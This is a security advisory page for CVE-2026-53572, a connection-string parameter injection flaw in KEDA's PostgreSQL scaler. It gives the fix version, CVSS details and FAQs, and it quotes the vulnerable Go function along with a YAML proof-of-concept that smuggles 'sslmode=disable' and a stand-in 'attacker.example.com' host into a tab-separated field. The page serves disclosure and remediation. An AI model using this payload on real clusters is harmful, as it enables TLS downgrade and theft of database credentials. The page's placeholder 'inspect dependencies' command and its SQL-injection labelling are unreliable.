CVE-2026-53572: Github.com/kedacore/keda/v2 KEDA Has PostgreSQL Connection String Vulnerability

MODERATE
Advisory Identifier: GHSA-6w3m-4hhp-775q
CVSS 5.9
CWE-89 CWE-74
Published
Advisory Summary

CVE-2026-53572 is a MODERATE (CVSS 5.9) keda has postgresql connection string vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Github.com/kedacore/keda/v2 libraries in the Go ecosystem. The issue involves keda has postgresql connection string parameter injection via incomplete whitespace escaping. Remediation is available by upgrading affected packages to version 2.20.0.

CVE-2026-53572 at a Glance

CVE Identifier CVE-2026-53572
GHSA Identifier GHSA-6w3m-4hhp-775q
Severity MODERATE
CVSS v3.1 Base Score 5.9
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Github.com/kedacore/keda/v2
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity Low (I:L)
Availability None (A:N)

How to Fix CVE-2026-53572

To remediate this vulnerability, upgrade all affected Github.com/kedacore/keda/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/kedacore/keda/v2 fixed: 2.20.0
Upgrade github.com/kedacore/keda/v2 to 2.20.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/kedacore/keda/v2

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-53572, inspect your project dependencies for Github.com/kedacore/keda/v2:

inspect dependencies for github.com/kedacore/keda/v2

Analyze the terminal output to locate any version of Github.com/kedacore/keda/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.20.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Github.com/kedacore/keda/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`: ```go func escapePostgreConnectionParameter(str string) string { if !strings.Contains(str, " ") { return str // returned as-is for any non-space whitespace } str = strings.ReplaceAll(str, "'", "\\'") return fmt.Sprintf("'%s'", str) } ``` The function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\tsslmode=disable\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters. ### Vulnerable code `pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257. ### Impact Tenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can: - **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM. - **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword. - Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior. Note: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration — injected `host=` still redirects the subsequent `password=` keyword's target. ### Proof of concept ```yaml triggers: - type: postgresql metadata: host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com" port: "5432" userName: "keda" dbName: "metrics" sslmode: "require" query: "SELECT 1" ``` After `escapePostgreConnectionParameter` (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`. ### Suggested fix - Escape / reject any ASCII whitespace (`\t`, `\n`, `\r`, `\f`, `\v`, space) and backslash. - Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding. - Validate each field against an allow-list pattern before use. ### Resources - `pkg/scalers/postgresql_scaler.go` - libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING

CVE-2026-53572 Affected Github.com/kedacore/keda/v2 Versions

1 component(s)
Fixed Versions:
2.20.0
Product / Package Ecosystem Affected Versions Fixed Version
github.com/kedacore/keda/v2
Go
< 2.20.0
2.20.0

References

Frequently Asked Questions

What is CVE-2026-53572?
CVE-2026-53572 is a security vulnerability in Github.com/kedacore/keda/v2 involving KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Github.com/kedacore/keda/v2 versions are affected?
Affected versions include releases prior to 2.20.0 across affected packages: github.com/kedacore/keda/v2.
What version fixes CVE-2026-53572?
Upgrading to 2.20.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/kedacore/keda/v2 affected?
Yes, github.com/kedacore/keda/v2 is affected in releases prior to 2.20.0. Upgrade your dependency to 2.20.0 or later.
What is the CVSS score of CVE-2026-53572?
CVE-2026-53572 has a CVSS v3.1 base score of 5.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N.
What CWE is associated with CVE-2026-53572?
CVE-2026-53572 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Go dependencies for CVE-2026-53572?
Run the dependency tree command: 'inspect dependencies for github.com/kedacore/keda/v2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6w3m-4hhp-775q",
  "modified" : "2026-07-07T23:44:13Z",
  "published" : "2026-07-07T23:44:13Z",
  "aliases" : [ "CVE-2026-53572" ],
  "summary" : "KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping",
  "details" : "### Summary\n`pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`:\n```go\nfunc escapePostgreConnectionParameter(str string) string {\n    if !strings.Contains(str, \" \") {\n        return str       // returned as-is for any non-space whitespace\n    }\n    str = strings.ReplaceAll(str, \"'\", \"\\\\'\")\n    return fmt.Sprintf(\"'%s'\", str)\n}\n```\nThe function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\\tsslmode=disable\\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters.\n\n### Vulnerable code\n`pkg/scalers/postgresql_scaler.go`, lines 155–164 and 250–257.\n\n### Impact\nTenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can:\n- **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.\n- **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword.\n- Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior.\n\nNote: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration — injected `host=` still redirects the subsequent `password=` keyword's target.\n\n### Proof of concept\n```yaml\ntriggers:\n- type: postgresql\n  metadata:\n    host: \"legit.db.svc\\tsslmode=disable\\thost=attacker.example.com\"\n    port: \"5432\"\n    userName: \"keda\"\n    dbName: \"metrics\"\n    sslmode: \"require\"\n    query: \"SELECT 1\"\n```\nAfter `escapePostgreConnectionParameter` (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`.\n\n### Suggested fix\n- Escape / reject any ASCII whitespace (`\\t`, `\\n`, `\\r`, `\\f`, `\\v`, space) and backslash.\n- Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding.\n- Validate each field against an allow-list pattern before use.\n\n### Resources\n- `pkg/scalers/postgresql_scaler.go`\n- libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kedacore/keda/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.20.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kedacore/keda"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-74", "CWE-89" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-07T23:44:13Z",
    "nvd_published_at" : null
  }
}